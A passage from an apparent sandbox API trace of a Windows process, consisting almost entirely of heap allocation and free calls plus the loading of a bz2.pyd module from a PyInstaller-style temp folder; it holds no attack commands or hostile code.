hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b150 | out: hHeap=0x2ad0000) returned 1 [0073.450] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71840 | out: hHeap=0x2ad0000) returned 1 [0073.450] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b150 [0073.450] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a17fe0 [0073.450] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18100 [0073.451] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8b160 [0073.451] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b0e0 [0073.451] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a8b160, Size=0x14) returned 0x2a71620 [0073.451] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b0e0 | out: hHeap=0x2ad0000) returned 1 [0073.451] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18100 | out: hHeap=0x2ad0000) returned 1 [0073.451] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a17fe0 | out: hHeap=0x2ad0000) returned 1 [0073.451] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b150 | out: hHeap=0x2ad0000) returned 1 [0073.451] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71620 | out: hHeap=0x2ad0000) returned 1 [0073.451] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b0e0 [0073.451] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a180a0 [0073.451] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18100 [0073.451] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8b100 [0073.451] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b0f0 [0073.451] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a8b100, Size=0x14) returned 0x2a71660 [0073.451] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b0f0 | out: hHeap=0x2ad0000) returned 1 [0073.451] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18100 | out: hHeap=0x2ad0000) returned 1 [0073.451] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a180a0 | out: hHeap=0x2ad0000) returned 1 [0073.451] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b0e0 | out: hHeap=0x2ad0000) returned 1 [0073.451] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71660 | out: hHeap=0x2ad0000) returned 1 [0073.451] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x208) returned 0x2bb6060 [0073.451] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b0e0 [0073.451] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a180a0 [0073.451] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a17fe0 [0073.451] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8b0f0 [0073.451] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b100 [0073.451] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a8b0f0, Size=0x14) returned 0x2a71840 [0073.451] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b100 | out: hHeap=0x2ad0000) returned 1 [0073.451] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a17fe0 | out: hHeap=0x2ad0000) returned 1 [0073.452] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a180a0 | out: hHeap=0x2ad0000) returned 1 [0073.452] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b0e0 | out: hHeap=0x2ad0000) returned 1 [0073.452] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71840 | out: hHeap=0x2ad0000) returned 1 [0073.452] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b0e0 [0073.452] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a17fe0 [0073.452] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18010 [0073.452] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8b0f0 [0073.452] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b100 [0073.452] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a8b0f0, Size=0x14) returned 0x2a716e0 [0073.452] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b100 | out: hHeap=0x2ad0000) returned 1 [0073.452] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18010 | out: hHeap=0x2ad0000) returned 1 [0073.452] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a17fe0 | out: hHeap=0x2ad0000) returned 1 [0073.452] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b0e0 | out: hHeap=0x2ad0000) returned 1 [0073.452] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a716e0 | out: hHeap=0x2ad0000) returned 1 [0073.452] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2e6) returned 0x2bb6270 [0073.452] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2ab9b10 [0073.452] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b0e0 [0073.452] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18010 [0073.452] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a17fe0 [0073.452] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8b0f0 [0073.452] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b100 [0073.452] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a8b0f0, Size=0x14) returned 0x2a71900 [0073.452] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b100 | out: hHeap=0x2ad0000) returned 1 [0073.452] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a17fe0 | out: hHeap=0x2ad0000) returned 1 [0073.452] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18010 | out: hHeap=0x2ad0000) returned 1 [0073.452] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b0e0 | out: hHeap=0x2ad0000) returned 1 [0073.452] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71900 | out: hHeap=0x2ad0000) returned 1 [0073.453] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x2aa4ba0 [0073.453] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2abaa60 | out: hHeap=0x2ad0000) returned 1 [0073.453] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b0e0 [0073.453] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a17fe0 [0073.453] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18010 [0073.453] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8b0f0 [0073.453] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b100 [0073.453] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a8b0f0, Size=0x14) returned 0x2a71620 [0073.453] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b100 | out: hHeap=0x2ad0000) returned 1 [0073.453] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18010 | out: hHeap=0x2ad0000) returned 1 [0073.453] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a17fe0 | out: hHeap=0x2ad0000) returned 1 [0073.453] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b0e0 | out: hHeap=0x2ad0000) returned 1 [0073.453] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71620 | out: hHeap=0x2ad0000) returned 1 [0073.453] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b0e0 [0073.453] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a17fe0 [0073.453] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a180a0 [0073.453] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8b0f0 [0073.453] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b100 [0073.453] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a8b0f0, Size=0x14) returned 0x2a717a0 [0073.453] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b100 | out: hHeap=0x2ad0000) returned 1 [0073.453] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a180a0 | out: hHeap=0x2ad0000) returned 1 [0073.453] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a17fe0 | out: hHeap=0x2ad0000) returned 1 [0073.453] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b0e0 | out: hHeap=0x2ad0000) returned 1 [0073.453] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a717a0 | out: hHeap=0x2ad0000) returned 1 [0073.453] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b0e0 [0073.453] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a17fe0 [0073.453] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a180a0 [0073.453] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8b0f0 [0073.454] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b100 [0073.454] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a8b0f0, Size=0x14) returned 0x2a71900 [0073.454] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b100 | out: hHeap=0x2ad0000) returned 1 [0073.454] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a180a0 | out: hHeap=0x2ad0000) returned 1 [0073.454] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a17fe0 | out: hHeap=0x2ad0000) returned 1 [0073.454] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b0e0 | out: hHeap=0x2ad0000) returned 1 [0073.454] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71900 | out: hHeap=0x2ad0000) returned 1 [0073.454] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b0e0 [0073.454] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a17fe0 [0073.454] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18010 [0073.454] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8b0f0 [0073.454] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b100 [0073.454] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a8b0f0, Size=0x14) returned 0x2a71840 [0073.454] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b100 | out: hHeap=0x2ad0000) returned 1 [0073.454] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18010 | out: hHeap=0x2ad0000) returned 1 [0073.454] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a17fe0 | out: hHeap=0x2ad0000) returned 1 [0073.454] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b0e0 | out: hHeap=0x2ad0000) returned 1 [0073.454] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71840 | out: hHeap=0x2ad0000) returned 1 [0073.454] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2acb7f8, Size=0x250) returned 0x2bb6560 [0073.454] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x300) returned 0x2bb67b8 [0073.454] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x2aa81e8 [0073.454] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a2b9f0 | out: hHeap=0x2ad0000) returned 1 [0073.454] GetCurrentThreadId () returned 0x9b0 [0073.454] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a140 | out: hHeap=0x2ad0000) returned 1 [0073.454] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ae60 | out: hHeap=0x2ad0000) returned 1 [0073.454] GetCurrentThreadId () returned 0x9b0 [0073.454] GetCurrentThreadId () returned 0x9b0 [0073.454] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1ae60 [0073.454] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ae60 | out: hHeap=0x2ad0000) returned 1 [0073.454] GetCurrentThreadId () returned 0x9b0 [0073.454] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x2aab228 [0073.455] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aba8d8 | out: hHeap=0x2ad0000) returned 1 [0073.455] GetCurrentThreadId () returned 0x9b0 [0073.455] GetCurrentThreadId () returned 0x9b0 [0073.455] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a140 [0073.455] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1ae60 [0073.455] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a258 [0073.455] GetCurrentThreadId () returned 0x9b0 [0073.455] GetCurrentThreadId () returned 0x9b0 [0073.455] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a258 | out: hHeap=0x2ad0000) returned 1 [0073.455] GetCurrentThreadId () returned 0x9b0 [0073.456] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2ab9678 [0073.456] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x504) returned 0x2bb6ac0 [0073.456] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1283) returned 0x2bb6fd0 [0073.456] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2ab9988 [0073.456] GetCurrentThreadId () returned 0x9b0 [0073.456] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ae60 | out: hHeap=0x2ad0000) returned 1 [0073.456] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a140 | out: hHeap=0x2ad0000) returned 1 [0073.456] GetCurrentThreadId () returned 0x9b0 [0073.456] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2c) returned 0x2ab5bd0 [0073.456] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab5bd0 | out: hHeap=0x2ad0000) returned 1 [0073.456] GetCurrentThreadId () returned 0x9b0 [0073.456] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ad48 | out: hHeap=0x2ad0000) returned 1 [0073.456] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a8e8 | out: hHeap=0x2ad0000) returned 1 [0073.456] GetCurrentThreadId () returned 0x9b0 [0073.456] GetCurrentThreadId () returned 0x9b0 [0073.456] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1ad48 [0073.456] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ad48 | out: hHeap=0x2ad0000) returned 1 [0073.456] GetCurrentThreadId () returned 0x9b0 [0073.456] GetCurrentThreadId () returned 0x9b0 [0073.456] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1ad48 [0073.456] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ad48 | out: hHeap=0x2ad0000) returned 1 [0073.457] GetCurrentThreadId () returned 0x9b0 [0073.457] GetCurrentThreadId () returned 0x9b0 [0073.457] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1ad48 [0073.457] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ad48 | out: hHeap=0x2ad0000) returned 1 [0073.457] GetCurrentThreadId () returned 0x9b0 [0073.457] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2ab9fa8 [0073.457] GetCurrentThreadId () returned 0x9b0 [0073.457] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x2aa51a8 [0073.457] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab9fa8 | out: hHeap=0x2ad0000) returned 1 [0073.457] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x300) returned 0x2bb8260 [0073.457] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b0e0 [0073.457] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x2a71900 [0073.457] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18100 [0073.457] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8b0f0 [0073.457] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b100 [0073.457] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a8b0f0, Size=0x14) returned 0x2a71620 [0073.457] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b100 | out: hHeap=0x2ad0000) returned 1 [0073.457] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18100 | out: hHeap=0x2ad0000) returned 1 [0073.457] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71900 | out: hHeap=0x2ad0000) returned 1 [0073.457] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b0e0 | out: hHeap=0x2ad0000) returned 1 [0073.457] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71620 | out: hHeap=0x2ad0000) returned 1 [0073.457] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa51a8 | out: hHeap=0x2ad0000) returned 1 [0073.457] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2ab9fa8 [0073.457] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x300) returned 0x2bb8568 [0073.457] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x6a0) returned 0x2bb8870 [0073.458] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b0e0 [0073.458] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x2a71660 [0073.458] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a17fe0 [0073.458] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8b150 [0073.458] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b0f0 [0073.458] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a8b150, Size=0x14) returned 0x2a717a0 [0073.458] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b0f0 | out: hHeap=0x2ad0000) returned 1 [0073.458] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a17fe0 | out: hHeap=0x2ad0000) returned 1 [0073.458] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71660 | out: hHeap=0x2ad0000) returned 1 [0073.458] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b0e0 | out: hHeap=0x2ad0000) returned 1 [0073.458] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a717a0 | out: hHeap=0x2ad0000) returned 1 [0073.458] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab9fa8 | out: hHeap=0x2ad0000) returned 1 [0073.458] GetCurrentThreadId () returned 0x9b0 [0073.458] GetCurrentThreadId () returned 0x9b0 [0073.458] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2bafbf8 | out: hHeap=0x2ad0000) returned 1 [0073.458] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1aa00 | out: hHeap=0x2ad0000) returned 1 [0073.458] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a6b8 | out: hHeap=0x2ad0000) returned 1 [0073.458] GetCurrentThreadId () returned 0x9b0 [0073.458] GetCurrentThreadId () returned 0x9b0 [0073.458] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a8e8 [0073.458] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a8e8 | out: hHeap=0x2ad0000) returned 1 [0073.458] GetCurrentThreadId () returned 0x9b0 [0073.458] GetCurrentThreadId () returned 0x9b0 [0073.458] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a140 [0073.458] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a140 | out: hHeap=0x2ad0000) returned 1 [0073.458] GetCurrentThreadId () returned 0x9b0 [0073.458] GetCurrentThreadId () returned 0x9b0 [0073.458] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1ae60 [0073.458] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a140 [0073.458] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1ad48 [0073.459] GetCurrentThreadId () returned 0x9b0 [0073.459] GetCurrentThreadId () returned 0x9b0 [0073.459] GetCurrentThreadId () returned 0x9b0 [0073.459] GetCurrentThreadId () returned 0x9b0 [0073.459] GetCurrentThreadId () returned 0x9b0 [0073.459] GetCurrentThreadId () returned 0x9b0 [0073.459] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ad48 | out: hHeap=0x2ad0000) returned 1 [0073.459] GetCurrentThreadId () returned 0x9b0 [0073.459] GetLastError () returned 0x0 [0073.459] GetLastError () returned 0x0 [0073.459] GetLastError () returned 0x0 [0073.459] GetLastError () returned 0x0 [0073.459] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x34) returned 0x2a8a6a8 [0073.459] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a180a0 [0073.459] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a180a0 | out: hHeap=0x2ad0000) returned 1 [0073.459] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x2a8b0e0 [0073.459] GetLastError () returned 0x0 [0073.459] CreateFileA (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11~1\\bz2.pyd" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11~1\\bz2.pyd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9b9cd0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0073.459] GetFileType (hFile=0x1e8) returned 0x1 [0073.459] GetLastError () returned 0x0 [0073.459] GetCurrentThreadId () returned 0x9b0 [0073.460] GetLastError () returned 0x0 [0073.460] GetFileType (hFile=0x1e8) returned 0x1 [0073.460] GetFileInformationByHandle (in: hFile=0x1e8, lpFileInformation=0x9b9d4c | out: lpFileInformation=0x9b9d4c) returned 1 [0073.460] FileTimeToLocalFileTime (in: lpFileTime=0x9b9d60, lpLocalFileTime=0x9b9d90 | out: lpLocalFileTime=0x9b9d90) returned 1 [0073.460] FileTimeToSystemTime (in: lpFileTime=0x9b9d90, lpSystemTime=0x9b9d80 | out: lpSystemTime=0x9b9d80) returned 1 [0073.460] FileTimeToLocalFileTime (in: lpFileTime=0x9b9d58, lpLocalFileTime=0x9b9d90 | out: lpLocalFileTime=0x9b9d90) returned 1 [0073.460] FileTimeToSystemTime (in: lpFileTime=0x9b9d90, lpSystemTime=0x9b9d80 | out: lpSystemTime=0x9b9d80) returned 1 [0073.460] FileTimeToLocalFileTime (in: lpFileTime=0x9b9d50, lpLocalFileTime=0x9b9d90 | out: lpLocalFileTime=0x9b9d90) returned 1 [0073.460] FileTimeToSystemTime (in: lpFileTime=0x9b9d90, lpSystemTime=0x9b9d80 | out: lpSystemTime=0x9b9d80) returned 1 [0073.460] GetLastError () returned 0x0 [0073.460] GetCurrentThreadId () returned 0x9b0 [0073.460] GetLastError () returned 0x0 [0073.460] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b0e0 | out: hHeap=0x2ad0000) returned 1 [0073.460] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a6a8 | out: hHeap=0x2ad0000) returned 1 [0073.460] GetLastError () returned 0x0 [0073.460] GetFullPathNameA (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11~1\\bz2.pyd", nBufferLength=0x104, lpBuffer=0x9b9a94, lpFilePart=0x9b9a8c | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11~1\\bz2.pyd", lpFilePart=0x9b9a8c*="bz2.pyd") returned 0x33 [0073.460] ActivateActCtx (in: hActCtx=0x1050d14, lpCookie=0x9b9a74 | out: hActCtx=0x1050d14, lpCookie=0x9b9a74) returned 1 [0073.460] LoadLibraryExA (lpLibFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11~1\\bz2.pyd", hFile=0x0, dwFlags=0x8) returned 0x74430000 [0073.467] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x80) returned 0x2a85498 [0073.467] RtlSizeHeap (HeapHandle=0x2ad0000, Flags=0x0, MemoryPointer=0x2a85498) returned 0x80 [0073.467] RtlSizeHeap (HeapHandle=0x2ad0000, Flags=0x0, MemoryPointer=0x2a85498) returned 0x80 [0073.468] DisableThreadLibraryCalls (hLibModule=0x74430000) returned 1 [0073.468] DeactivateActCtx (dwFlags=0x0, ulCookie=0x14590003) returned 1 [0073.468] SetErrorMode (uMode=0x0) returned 0x1 [0073.468] GetLastError () returned 0x0 [0073.468] GetProcAddress (hModule=0x74430000, lpProcName="initbz2") returned 0x74434070 [0073.468] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2ab9fa8 [0073.469] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x2aa51a8 [0073.469] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab9fa8 | out: hHeap=0x2ad0000) returned 1 [0073.469] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b0e0 [0073.469] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, 